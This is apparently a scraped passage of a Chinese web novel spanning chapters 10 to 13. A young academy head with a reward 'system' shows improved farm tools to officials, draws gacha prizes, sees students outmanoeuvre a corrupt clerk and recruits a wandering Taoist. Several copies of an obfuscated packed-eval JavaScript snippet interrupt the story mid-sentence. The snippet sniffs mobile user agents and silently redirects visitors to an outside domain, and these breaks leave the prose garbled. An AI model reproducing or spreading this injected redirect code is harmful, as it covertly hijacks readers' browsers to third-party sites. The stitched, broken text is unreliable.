“我听闻你开这间书院是为了完成师父的任务,那科举呢,你什么打算?我知晓你是有点才气的,可你想过没有,若是金榜题名,为官做宰,岂不是更有利于你以后的传道之事?可比你现在做的这些,有意义的多。且若真想教书,以后致仕,有着大把时间,何必非要浪费青春呢?” 章县令自认语气循循善诱,旁边的柏盛青更是没有阻拦。 他也很好奇,童启真正的想法。 而早有准备的童启乖巧回答道,“一个人考上,和一群人考上,意义自然还是不大一样的。” 两人闻言,瞬间停下了脚步,颇有些惊讶的对视了一眼。 章明浩意外的挑挑眉,带着点质问,“哦?一群人,这还没开始教多久呢,你就这么有信心?” “是,所以我想请大人给我一点时间,明年县试,我自然会向您证明,我的用意。” 小小的少年,眼中尽是坚定,章明浩注视了一会儿,冷哼一声,“行,那我便坐等你的成绩了。” 任谁都能看出,童启年龄虽小,可主意却大的很,不是寻常人可以左右的。 与其强逼,费尽口舌,倒不如让他自己去闯一闯,方知深浅。 气氛一时沉默下来,有些僵硬。 几个人走到田亩附近,见到吴韧开垦了一半的地,颇觉趣味,还未开口询问,便被地里的东西给吸引住了目光。 “这是……” 柏盛青疾步上前,拿起那形似耧车,但却没有耧斗,刃如杏叶般的农具,无比震惊。 他以前当过户部尚书,本身就负责一部分农业相关的事务,自然懂得工具不同的重要性,这东西明显是锄草工具,用畜力牵引或者人力拉扯均可,更适合于干旱之地的深耕,远比耧车要方便。 吴韧连忙上前道,“这是山长让我拿来用的,乃是中耕除草的工具,叫做耧锄……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792123|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有什么不对之处吗? 看着柏盛青如此重视,一旁的章县令也不由严肃起来,他上手亲自试了试,眼前一亮,顿时懂得了对方的认真。 “这东西可有盛产?能不能批量制作,放心,你们这种属于改进农具,乃是大善,我会向圣上亲禀此事,绝不会夺取你们的功劳的。” 童启愣了愣,他还真不知道这耧锄是什么时候进入中国的,还以为大奉朝已经有了,就随便拿来用了,再说吴韧看到后也没什么特别的表情,他还以为很正常,难道……还没研发出来吗? “不必,我只是偶然发现,这样更方便一些,做倒没有批量做,如果章大人需要,我可以把设计图给你,请功就不必了。”童启心虚的额头冒汗。 “那怎么能行?” 章明浩激动不已。 “放心,这件事,我肯定会给你们一个妥善交代的!” 他虽无心政事,但却不代表他真的不想要升官发财,这种农具上的研发向来算是政绩中的一环,可远比童启口中承诺的明年县试会考中几个要强多了。 若是奉上去,没准还能使圣上想起他,将他调回京都呢! 他算是捡到宝了! 两位大佬兴冲冲而来,兴冲冲而去,顺便带走了一大批农具,连带着童启准备的下粪耧种、露锄、除虫滑车等一系列东西都被扫荡的干干净净。 吴韧懵懵然,若有所思。 良久,才恍然明白过来山长的用意。 他以前虽然也干活,但基本上属于埋头苦干,从未在意过工具的类型,就如同读书一般,只知死读。 山长明知道农具有异,却还故意让他使用,定是想考察他,细微之处方见伟大的用意! 可他却完全错过了! 怪不得…… 思及此,吴韧是既内疚又惭愧,不由握紧了拳,承诺道。 “山长放心,以后我一定多多注意,再也不会错过您的良苦用心了。” 童启:? 什么良苦用心? 童启茫然,童启不解,童启惊愕,然后果断选择了置之脑后。 可吴韧却在今后的日子里,对童启说的每一句话、做的每一件事都倍加注意了起来,非得再三揣度之后,才肯行动。造成的曲解之巨,不足细说。 这是后话,暂且不提。 只说山上的日子过的飞快。 不到一个月的时间,几个孩子们的精神面貌已经彻底焕然一新。 不只是他们学习的内容大大增加,阅历听闻更加广博,还有着科学安排下,早睡早起,认真锻炼的原因。 每次放假,孩子们说说笑笑,走下山去,无数人回眸而视,不由成为了伊川县一道靓丽的风景线。 【叮,声望值+76。】 童启美滋滋的躺在床上,看着自己的系统面板,非常开心。 他现在声望值已经积攒了快2000多点,抽奖券也凑齐了十张。 可以十连抽了! 慎重的关上房门,搓了搓手心,童启深吸一口气,开始许愿。 食堂食堂食堂! 天知道,这一个月他是怎么过来的,因为没有做饭的地方,厨娘每天做饭炒菜几乎都是露空,直接用大锅台垒起,一到中午,整个书院便烟熏火燎的。他实在是受够了! 关键其他人还不觉得有什么,认为这十分正常。 炒菜虽然在大奉朝已经出现,可锅的质量却不行,王厨娘水平有限,炒出来的菜,更是一言难尽。 很多他想要吃的,都十分受限。 他现在只想要一包泡面! 若系统匹配的是他们高中食堂,那应该也会匹配食堂里面的小卖部和奶茶店吧?再不济,自动饮料售货机,他也不挑啊!! 啊啊啊啊,拜托了,求求了,一定要让我抽到免费建筑物解锁券! 系统实在是太抠了,明知道我掏不起钱,却一直暗戳戳逼我氪金。 自新手任务完成后,解锁建筑的主线任务便一次再也没出现过。 以至于他现在只能苦兮兮的攒声望值来抽保底。 只希望十连抽能多出点东西吧。 童启洗过手,认真的朝着四方拜了拜,缓缓按下了十连抽的按钮。 一阵金光闪过,旋转的画面渐渐凝聚成形。 11. 第11章 【横线笔记本X10】 【横线笔记本X10】 【抽纸x10】 【保温杯一个】 【校服x10】 【棒棒糖一桶】 【银子10两】 【黑色圆珠笔X20】 【演出汇报音响及小蜜蜂扩音器三套】 【垃圾桶X10个】 童启:…… 绚烂的页面,一张张抽奖券被翻过来,看的童启越发心凉。 这就是十连保底的威力吗? 还不如他单抽出奇迹来的快啊! 啊啊啊!怎么全是义乌小商品出的货啊! 他的免费建筑解锁券呢?什么情况? 我举报,黑幕,这绝对是有黑幕! !&*……@%¥¥% 系统瞬间上线:“叮,检测到宿主骂脏话,已屏蔽。亲,这边建议不要沉迷于赌运气哦,认真赚钱、完成主线任务,方为解锁书院建筑的正确之道!” “那你不早说!我都抽完了你才讲!我好不容易才攒够的十连!谁能想到一张建筑解锁券也抽不到啊!骗子!周扒皮!资本家!退钱!” 系统:“……” 童启整个emo了。 他不理解。 他一个开书院的,每年一个学生最多也就收五两银子的学费,又不是做生意,想靠这个攒钱解锁书院建筑,最起码得花费六百年! 有那功夫,人都死了,书院还没解锁完呢。 这不是欺负小孩儿嘛! 许是看宿主伤心的真情实意,系统有些心虚,弱弱的补充道。 “那也没办法嘛,解锁建筑是需要花费能量值的,咱们本身这些建筑配置,就已经远超于这个位面的科技水平了,若是每次抽个奖就能解锁建筑,那岂不是这个世界的任务线还没走完,光跑去建设书院了?宿主,我们的目标可是桃李满天下啊!教书育人才是根本!如果你实在是想要解锁建筑……那我这边也不是不能给你贷款……” 童启瞬间眼睛一亮。 “……但你可能需要付很高的利息才行。” 童启:“多高?” 系统:“百分之六十?” “再见!” 童启闭眼躺下,顿觉不爱。 系统讨好的闪了闪对话框,小声戳戳,“我也没办法呀,咱们互相理解,来到这个世界,支撑起这么多高于位面科技的东西,我是需要能量的,如果你能够快速提高个人面板点数上的平均值,没准就能开出解锁建筑的主任务!” “个人面板点数?” 童启偷偷翘起一只耳朵,聆听着。 系统:“对啊,就在您的个人设置中心里即可找到!” 好家伙,个人设置中心里还有这种玩意儿的吗? 我怎么从未注意? 童启疑惑的点开面板上的个人设置中心,这才发现,后台竟然有个科技树。 其上脉络清晰,闪烁着金光,熠熠生辉。 两个枝干上,挂着他的个人资产与系统进度点数。 有形资产是捆绑着的六十两纹银,以及华夏书院,还有这些日子抽奖抽出来的各种小玩意儿。无形资产则是他本身具有的体力、智力、学识、健康等多个维度的基础评估。 而系统任务点数,则被分为了五个方面。 分别是教学质量、学术研究、学生后续发展、校园环境及声望影响。 采用的,则是百分制进度条。 也就是说只有他把这五个维度全部做满,【桃李满天下】任务才算是真正的彻底完成。 现在,他的教学质量与校园环境上面显示的是10%,学术研究和声望影响则是2%,而学生发展下面,却是空荡荡的0…… 怪不得他开不出第三栋建筑呢。 原来这点数竟然这么低的吗? 童启深深的陷入了思索之中。 只感觉努力了两个月,一顿咔咔乱杀,结果回头一看,战绩却只有0.5的戏谑感。 系统不忘安慰他。 “十年树木,百年树人。教育从不是一蹴而就,宿主要有些耐心才是啊,起码咱们现在开了个好头不是?等这一茬学生毕业了,取得了好成绩,咱们名声自然就打出去了。” 可我等不了啊! 别忘了,我也还得考科举呢!现如今他一介白身,手里又掌握着一个明眼人一看就很厉害的学院,一年半载还能勉强藏住,靠着神秘大佬的身份唬一下众人,可等那些人反应过来了,分分钟就是一个吞并了事! 他可不敢考验封建王朝下的特权阶级。 所以,尽快解锁完完整的建筑群,然后凭借书院的硬件设施拉拢更多的学生与支持者才行。 看来慢慢等任务是不行了,只能主动出击,方为上策! 童启随手塞了个棒棒糖到嘴里,慢慢思考起如何提高各个维度点数的问题。 而另一边,放假回家的汪启元正快步穿过堂厅,去见家里人。 绕过几道院墙,推开厚重的毡帘,院子里安安静静,空空荡荡。 “人呢?都去哪儿了?茯苓?” 他疑惑的打量着四周,没见到任何下人,寂静的院落里,碎叶落满了地,似乎许久都没有人打扫了一般。 听到他的呼喊,后柴房里似乎有些动静。 不一会儿,脸上带伤的茯苓惊喜的探出头来,大声嚎哭着。 “少爷!您可算回来了,老爷,呜呜呜,老爷被衙门抓走了,下人们也跑光了,夫人说要去娘家叫人,已经三日未回了!” “什么?” 汪启元如遭雷击,来不及多想,转身便往县衙跑去。 行至半路,被匆匆听闻了消息后前来拜访的刘卜温给拦了下来。 “等一等,汪兄!你去哪里?你父亲的事情莫要急,我已经打听到了完整的消息,你先冷静下来,不然现在过去,非但救不出你父亲,还会自投罗网,雪上加霜啊!” 刘卜温匆匆将他拉到自己的车上,这才说出了实情。 “据说还是你父亲得罪了权贵的那件事,对方联合了县衙里的书簿,正谋求你们家的家产呢!” “什么?那我该如何是好?” 小小年纪从未经历过这样天塌了般的事,汪启元急得流下泪来,慌得团团转。 刘卜温耐心的与他讲解着。 “这件事,重点不在于他们到底是谋财还是害命,而在于你们家一退再退,他们却没有任何放过的意思,这明摆着就是不想给你们留退路,但凡你们家有个中举的,哪怕是秀才,他们也不敢如此嚣张,我给你出个主意,你去找山长,让他带你去求柏盛青柏大人,对方一贯中正不阿,只要能劝动他,没准你家还有的救。” 听到这话,汪启元犹豫了起来。 开学典礼上,他自然也是看到了童启和柏盛青交好的。 可那是学院大事,若只是为了一己之私,就去麻烦山长…… 他怎么都感觉过不了心里的那一关。 这并非学生之道。 山长虽博学,却年幼,非权贵出身,而妄然参与其中,很容易引麻烦上身,他不想给书院添乱。 可不求,以他的能力,如今又完全无法解决家里之事。 事情骤然陷入了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792124|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个死局中。 进退两难。 突然,他想起了山长曾跟他们讲过的一个故事,蓦得眼前一亮。 “你可还记得山长曾跟我们讲过的冯亭献上党(注1)的故事?” 刘卜温猛地一惊,“你是说……借力打力,舆论引导?” 汪启元认真的点了点头。 不知道什么时候,在他们自己都没有注意到的时间点,童启的重塑行为已初见成效,几个孩子开始慢慢习惯起不靠任何人的帮助,去解决问题。 而汪家绸缎庄吞并案,便是他们迈出的第一步。 同时间段内,回到家里的杨舟万,与汪启元受到的待遇则完全不同。 “万儿回来了!读书累着了吧?快进来歇一歇。” “饭马上就好!他二嫂,先把上次县里买的糕点拿出来几块,给他垫垫肚子。” “欸!” “不用不用,我在书院里吃过早饭了,还不饿。”杨舟万连忙推辞,将厚厚的背包放下,难抵家里人的热情慰问,一把搂住一个弟弟妹妹,抱在怀中亲近起来。 大家吵吵嚷嚷着让他继续讲童启拜师的故事。 杨舟万无奈的摇头笑笑。 “不是我不讲,是自山长开始讲课后,就再也没有说过他师门的事,不过我倒是从山长的弟弟那里,听说了山长师兄的故事,你们要听吗?” “听听听。” 几个孩子亮晶晶的睁大了眼,连忙说道。 杨舟万得意的端坐在饭桌旁,模拟着茶馆说书人的架势,一边和家里人吃着饭,一边讲述着从童淳那里听来的故事,“据说啊,山长的师兄原本是从石头里面蹦出来的一个石猴……因为看到了族群的生离死别,决定寻访求仙之道,因此千里迢迢,跨过大海,前往西牛贺州拜师学艺……” 他根据原本的剧情,加上一点人为的想象,断断续续讲述着,慢慢的,不仅吸引了家里的人,连带着整个村的村民都一起围了过来,认真的听着他讲话。 村西头的一个小乞丐目不斜视的听着这故事,双眼闪闪发光。 他感觉自己似乎也成为了这故事中的猴子一般,腾云驾雾,降妖除魔,好不厉害。 于是,本能的一边听一边默记。 反复咀嚼背诵。 他也不知道记住这故事有何用,但就是喜欢,后来的一次乞讨,他为了吹牛,跟县城里的老乞丐讲述了这个事,没想到竟意外得到了茶馆老板的注意,不仅给他送了很多吃食茶点,还让他给其他的客人们也讲述一遍这个故事。 那是他第一次知道知识的力量。 不是虚伪的什么当官坐宰,而是书中自有千钟粟的亲身体会。 于是,关于童启大师兄拜师的故事广为流传了起来,这一次,甚至远比之前童启拜师的事还要传播的更久一些。 大奉朝著名的修道之人清虚子,偶然路过伊川,在茶馆中听到了这事,驻足聆听。 越听,越是心惊。 因为里面许多修道的方式竟然比他们现在已知的还要专业! 别人听故事,那是听的热闹,可他们听的却是里面隐喻的内涵和方法,例如五行之气如何修,例如心猿的控制,例如避三灾等等,简直和他们派别很多失传已久的东西都高度达成了一致。 这华夏书院的山长,莫不是拜的我们祖师爷吧?! 【叮,声望值+206】 【叮,声望值+23】 【叮,声望值+34】 童启:??? 这声望值怎么突然暴涨? 谁做了什么吗?难不成是我那群乖徒弟……在外宣传我了? 12. 第12章 莫名其妙度过了旬假,学生们陆陆续续开始回到书院,继续读书。 刘卜温和汪启元两位同学却突然请了假,说是要去趟府城。 童启没在意,简单问了几句,听说是家里有事,便批准了。 可谁知过了几日,河南府境内却骤然流传起一则民谣来。 颇为耳熟。 继本叔站在安保室里,一字一句的跟童启转述着,小心翼翼。 “汪家绸缎庄,梦中神仙指,知府清如水,家产全捐之,神仙保佑在,大造化将至,知府喜眉开,民生得添彩……听说这句子都是从府城内传过来的,估摸着现如今整个县城应该都已经知晓了。” 童启:…… 我勒个去,这硬拗的民谣风格,和我平时讲课时举例的那种类型好像啊? 原句是“小白菜呀,地里黄呀,两三岁呀,没了娘啊……” 哪个人才改成了这种四五句啊! 还有,汪家绸缎庄?那不是汪启元家里吗? 发生什么事了? 他一个激灵清醒过来,赶紧让继本叔下山细细打探,这才知道自己的两个学生竟然偷偷背着他,干了一件大事! 原来,自县衙书簿联合权贵妄想吞并汪家绸缎庄,甚至抓了汪家家主,希望以此逼他们就范后,汪启元便和刘卜温连夜卷走了所有资产、布匹及合作方名单,然后一股脑全捐献给了河南府的知府大人——木奎盛。 用的便是家父梦中梦到了神仙,言说知府大人将来必有大造化,乃举世清官,值得追随,于是便想要沾沾福报,积累阴德这样的离奇理由。 谁料知府大人还真信了! 对方一贯贪财,在整个河南府那都是出了名的,闻此大喜。不仅接下了汪家所有资产,还特意书信一封以作嘉奖,嘱咐伊川县令章明浩要好好对待汪家。 此事被“民众”听说后,编作歌谣,大肆传播,瞬间吓坏了县衙典史,转头便添油加醋将其转告给了章县令。 章县令知晓自己家书簿胆子那么大,竟然敢联合当地权贵,陷害商人,用的还是“莫须有”之类的理由后,顿时怒不可遏,当场就将书簿隔了职、下了狱。 不仅无条件释放了汪家家主,还倒赔了他五十两银子,作为压惊。 这一役,汪家大获全胜,第一次书写了“舍得一身剐,敢把官员拉下马”的成功典范。 而作为搅弄核心事件的华夏书院弟子们,也由此声名大胜,在整个河南府权贵阶级中,彻底出了名!连带着童启的声望影响点数,都直接上涨到了4%,不可谓不厉害! 童启几乎瞠目结舌听完的整个消息,顿时有种怀疑人生的感觉。 这群小子…… 这搅弄风雨的路子,不就是他之前给学生们讲过的冯亭献上党,借力打力的故事吗? 合着他们这是直接套用了啊? 关键用就用了,为什么要借着神仙的名义?还搞的迷信这一套,传出去,我们学院还像是读圣贤书的样子吗?这是彻底朝着玄学的方向一路疾驰了啊,拽也拽不回来! 如此大的动静,瞒也瞒不住。 汪启元和刘卜温显然也没料到会如此轰动。 回来见到童启后,那是一个可怜巴巴,低着头,等待着训斥,可没想到山长却并没有责怪他们,反而温和的问道。 “你们这的确是狠狠出了一口气,知晓知府贪财且迷信的弱点,并根据此点,借力打力,以势压人,很好。但结果却不算太精妙,伤敌一千,自损八百。汪启元,你们家世代从商,做布匹生意,现如今将家产一股脑捐给了知府,那以后,又打算以何为生呢?” 汪启元惊讶抬起头,见到童启担忧的看着他,忍不住心中一暖。 “山长不埋怨我借书院的名头,处理个人私事吗?” “那有什么可介意的,能用自然得用,只要是用在正道上,书院本身就应该是你们的底气啊。”童启随意说道。 君不见,现代多少名牌毕业的大学生,靠着一个学校的名字找工作的,哪怕是喂猪的,顶着北大、清华的名头,不也照样比一般喂猪的要出名厉害? 学生、书院,本就是互相成就,互相借力。 这是无法辩驳的事。 他说的轻松自然,可在两位学生听来,却如闻佛音一般,感动不已。 从古至今,只听说过私塾、夫子借学生的名气以此扬名的,还从未听说过学生在未成名之前,能得到书院、山长站出来替其撑腰的! 要知道,君君臣臣父父子子,师权在这个年代,可如同父权一般,不容冒犯半点。 寻常书院若因为学生沾上半点污名,那分分钟就是劝退的结果。 可童启说出的这番话,却几乎是在逆着潮流和大众认知走,令汪启元和刘卜温,感受到了罕见的身后有人的安全感。 “我也不知道,家中的未来要如何,但能保住一条命已经是万幸,不敢再奢求其他,家里的资产还剩一些,足够过日子了,山长,我打算快点考取功名,只有拥有功名,才能护住家里,不再遭受这样的委屈。” 汪启元握住拳,郑重其事的讲道。 单纯的少年,在经过这件事之后,眼中多出了一些清醒与执着。 童启心疼的拍了拍自家学生的肩膀,过了一会儿,才问道。 “这样,你父亲虽然不能再做绸缎生意了,但其他布料不知道感不感兴趣?我这里有一些农作物的种子,打算购入一些学田来支撑书院的日常开销,需要人帮忙种植,若是我能提供种植方法……” 汪启元瞬间眼睛一亮。 “是我们身上穿的这种吉贝吗?” “吉贝?” 童启点点头,这个时候的棉花似乎的确叫这个名字。 他想了好几日,所有的个人面板点数里,最不好升的就是学生后续发展、校园环境、声望影响这三个方面。 而学术研究和教学质量,却可以试着提高一些。 大奉朝一贯喜欢文人,对于学田有很多的优惠政策,童启正好也想借着这些机会,种一些值钱的东西出来,充作研究成果。既可以多赚点钱,又可以让学生用来勤工俭学、观察实验,于是便盯上了沧澜山下不少闲散的良田来。 汪启元万万没想到,还能有如此转机。 校服刚发下来的时候,汪父其实便试探着打听过,能不能在北方种植点吉贝,做布匹生意,可得到的却几乎清一色都是,此物只能在南方种植的回答! 若是山长真的能解决种植的问题,那节省下来的运费和人工,可远远比绸缎生意还要暴利的多的多! 他赶紧回家跟父亲说了这个好消息。 果然,汪平川激动不已,当场便坐着牛车,来到书院,和童启签订了合同。 两方承诺,以一半一半的出资方式,买下沧澜山下50亩的良田。童启和书院负责提供种植方法、农具及科学观测,以确保棉花的收成,而汪家则负责雇人种植、采摘、卖出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792125|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 收益,双方平分。 一签完,学术研究的点数瞬间往上上涨了两个点,变成了4%! 童启顿时心满意足,彻底验证了提高点数的诀窍之处! 将后续的手续、银钱、购买事宜等一并交给了汪家家主和童母负责,童启来不及松一口气,书院外,却突然传来有人拜访的声音。 清虚子带着自己的小道童仰头站在华夏书院的门口,刚靠近,便感觉到了一股浩然之气,油然而生。 他摸着书院门口的两个石狮子,大赞道。 “这地方,聚山形之气,藏五蕴之中,辉煌磅礴,绝非寻常人所能建出,背后之人,定与我门派有关!” 小道童疑惑的看着自家师父对那门口的石狮子拜了又拜,有种说不出的奇怪感觉。 “有吗?可我怎么觉得,就是一个普通的书院呢?北部文昌不也建在山上?” 清虚子噎了一秒。 “你小子懂什么?没看见这教学楼有多高吗?文昌哪里能比拟,还有这大理石,这地面,这没有点燃便亮起的蜡烛,还有这……嗯?那水竟然能自动出水?” 活像是头一次进入游乐场的小孩子般,清虚子兴奋的这里摸摸,那里蹭蹭,简直恨不得倒地而拜。 吓得旁边带路的继本叔连忙避让。 童启快步走出,看到这一身道袍,仙衣飘飘的人,只觉得有些意外。 道士? 道士来这里做什么? 这个时候的道士可和历史书上写的那种坑蒙拐骗、只知道炼丹的不太一样,不是随随便便就能当的!需得出身清白、正式通过各种专业考试,得到朝廷的授箓与承认才行!因此往往博学多才、通今贯古,专业典籍讲起来,那是比普通的举人还要专业。 属于高级知识分子! 突然他想起什么,瞬间眼前一亮。 咦,这不是想什么来什么吗? 童启早就想招几个夫子,帮忙分担一下教学任务了,可偏偏整个伊川县,学术不丰,考中秀才的就那么几个,还全部属于王举人门下,挖也挖不过来! 这凭白送上来一个有才之士,不趁此机会撬过来,还等什么? 因此,他特意拿出十二分的尊敬来,快走几步,率先上前行了一个礼,道。 “有朋自远方来,不亦乐乎。在下华夏书院山长,童启,不曾远迎,还请恕罪。” “不敢,在下清虚子,这是我的道童,谢羽。因在县城里听闻了你的传说,特来拜访一二,叨扰了。” 清虚子被童启的年龄和个头短暂的惊了一瞬,但很快想起对方的背景,又不觉奇怪。 能让那样的人收做徒弟,和一个猴子成为同门的,总不可能太寻常不是? 童启却颇感疑惑,追问道。 “故事?什么故事?” “啊,您不知道吗?就是现如今整个县城府城流传的您师门的故事啊!”一旁的小道童适时的插嘴道。 童启迷迷糊糊听完整个情况,只觉想要暂停待客,先去揍一波学生再说。 不是,你们在外面,合着就是这么宣传我的? 怪不得声望值哐哐涨!真就纯造谣是吧? 谁说的我跟孙大圣同师门啊!啊! 我只是给弟弟哄睡觉而已,怎么就成了口述大师兄的历史故事了! 百口莫辩,偏偏他还不能解释。 因为他胡诌的拜师故事,借用的,还真就是西游记的背景。 13. 第13章 悄然越过这个话题。 童启邀着清虚子进入会客厅内,用保温杯给对方倒了一杯枸杞茶来,这才有空问起对方的来意。 清虚子好奇的看着桌上热腾腾的水杯,整理了一下衣袖,恭敬答道。 “在下带着小徒游历山川,偶然路过此地,听闻了阁下拜师的故事,深感兴趣,尤其是其对于聚气、内丹修炼的描述,更是与本门一些传说中的功法典籍十分相似,所以好奇之下,特来拜访,想问问是否源出同门,冒昧打扰,还请勿怪罪。” 好家伙,论道来了? 没想到吹个神秘大佬,竟然能真的吸引过来道家的人。 童启顿时一个头两个大,连忙摆手道。 “嗨,市井传言多有夸大之词,家师云游未归,虽未曾说过到底是哪一派出身,但我肯定,与您并非同门。” “哦?为何如此笃定?”清虚子好奇道。 “因为我所学之途,并非聚气、内丹、炼药之类,贯彻始终的,唯有“科学”二字罢了。” “科学?” 清虚子双手撑着桌面,大有促膝长谈的架势,饶有兴趣追问道。 “愿听详解,如何叫做……科学之道?” 童启端过旁边的茶点放在桌面上,不忘从怀中掏出一根棒棒糖来,递给旁边的小道童。 谢羽茫茫然接过,拆掉上面一层亮晶晶五光十色的“糖纸”,试探着放入口中,顿时眼睛一亮。 甜的!? 童启笑着摇了摇头,这才站起身,与清虚子细细讲述起什么叫做科学来。 “科,乃类别之意,学,乃一家之言。古时常有人代指科举之途,但其并非纯粹的官场学问,乃是讲述人类对大自然以及社会现象进行系统研究,而形成的理论知识体系,例如,太阳为何从东边升起,西边落下?潮起潮落,又遵循的何种规律?大海茫茫,要如何辨别方向?纸张的形成分为哪些步骤?分解聚合的研究、种植农具方法的改良、蔗糖要依靠何种方式才能制作成孩童食用的模样;哪种药剂更有利于治愈何种疾病;雷霆之力,又如何化为己用?” “大到填山造海之术!人与鲲鹏同飞,谈笑间,樯橹灰飞烟灭!小到移形换影,水中有多少种病菌无法察觉,土壤之间如何配比,该怎样增产、减产……这皆属于科学的范畴之内!” 童启兴奋讲述着。 一旁的清虚子和道童早已经听的愣住。 这……这便是科学? 能让人在天上飞?能看清肉眼所无法看到的微小之物? 那与神仙之术,又有何不同!? 清虚子满身激动,深感找到了毕生之道,当场便要弃道家,而改拜童启这一门派。 吓得童启连忙拦住。 “等一下!我虽遵循科学之道,可如今,却身负师命在身,并不主讲这些。主要还是以经营好这家书院,教授完学生们科举举业为重。你即便拜了我,也无用啊!” 他倒并不是担心清虚子的年龄。 毕竟他现在手下的学生们没一个比他小的,再来个更大的,也无妨。 只是清虚子并不走科举士族之道,贸贸然进入华夏书院读书,除了掏点学费,没有任何点数增加,未免有些糟蹋了。 可对方却误以为童启这是不愿收他,连忙将怀中所有的银两一股脑掏了出来,放在了桌子上,急切道。 “您放心,我有钱!不需要您像其他的学生们一起教授我,只需要让我跟在身边,偶尔询问解答即可!” 童启哭笑不得,“我并不是这个意思。” 他迟疑了一瞬,“只是我这书院暂时这一届不收学生了,倒是还差一个经义师父,帮助学生们讲解经义,辅助考试、批改试卷之类的,你看……” “我可以!只要管吃管住就行,不用工钱!但凡秀才以下级别,我还是绰绰有余的,您尽管放心!” 清虚子拍着胸膛,一口应下。 别的东西还有些说不定,但这些经义释文,总和权贵论道,怎么可能会不懂? 他已经熟的不能再熟了。 童启顿觉感动,欣慰的握住对方的手,甩了甩。 这么上赶着不为金钱的打工人,可实在是不多,求求再多赐几个! 简直令人欣喜! - 伊川县,拙政园。 听闻了县衙书簿被下狱的消息,王举人那是气愤不已。 这书簿乃是他好不容易搭上的路子,章县令一贯佛系,不想管事,可饶不住身边却总有人想要平步青云,争取更多的机会。 去年几个县收成不好,他名下的佃户又纷纷嚷嚷着要涨租,好不容易他和几家秀才、权贵商量好了,要将县衙里用不着的农具偷偷拿出来卖,谁料刚给了钱,半路便被柏盛青意外阻止。 转头被吴家求上门,想联合吞并一家商户,回回血,礼都收了,人还未动,却又被知府剁了爪子。 简直可恨! “这华夏书院,到底什么来头?竟然屡次三番与我们为敌!不过一个商人之子,他们也要护着?可恶,既如此,以后的伊川县就不必再邀请童启参与任何文会了,简直敬酒不吃吃罚酒,哼。” 王举人盛怒不已。 一旁的学生连忙劝阻道,“嗨,年纪小,难免不知事,等他师父回来了,可有的惩罚呢,听闻前几日还有道家人不满他们打着道家的旗号,胡乱扬名,嚷嚷着要登门拜访,估摸着,马上就要斗起来了。” “哦?”王举人忍不住心中一喜。“那就让他们斗!最好斗个你死我活。柏盛青那边也没多长时间了,听闻朝中不少人已经上书,担忧柏大将军在西北拥兵自重,圣上已下了诏书,将其调回。没了兵权的武将,不过就是砍了爪子的猫儿,蹦跶不了几日的。” “还是师父明智,但凡挡了咱们的路的,哪里有什么好下场?” “就是,如今最重要的还是温叶辞师弟的府试成绩,等案首的名次一出,谁还管什么童启、刘启?不过小打小闹罢了,不足为奇。” “正是正是。” 王举人被徒弟们三言两语捧得开心,笑着搂紧了怀中的姬妾,继续观赏起歌舞来。 好不快活。 而另一边,浑然不知自己已经上了伊川文会的黑名单,童启此刻,正在和厨房做着斗争。 自从知道短时间内八成搞不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792126|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来食堂后,他便学会了自食其力。 先是雇人在宿舍楼旁边的空地上盖了一个简陋的厨房、灶台,然后特意在铁匠那里斥重金打了几口铁锅来,按照菜谱,一一手把手的教授厨娘要如何制作炒菜。 什么东坡肘子、红烧排骨、酸菜羊肉、辣子鸡丁…… 能复刻的他几乎都尽量复刻了。 连带着奶茶都制作出来了几份! 让食堂按照专门的营养餐配比,每日轮换着来做,充分给学生们补足身体,强健大脑。 托他的福,这段时间,华夏书院人人都胖了几斤,而学术研究,也因此被冲上了6%的水平! 每日一到午食,所有人最期待的,便是食堂里做的饭菜样式。 下课铃一响,常仕进率先冲出教室。 “听闻今日有酸菜羊肉!快冲啊!” 汪启元和刘卜温慢了几步,连忙把书往抽屉里一塞,迅速跟上。 在他们看来,说童启是个神仙也不为过。 不论哪个领域,但凡是你能想得到的,他都懂得一些,即便偶有不解,转日便能迅速找到资料佐证说明,现如今,竟然连菜都会做!不是说君子远庖厨吗?所有的社会传统逻辑,似乎放在山长身上,便统统不作数了起来,这人到底还有什么不会的? 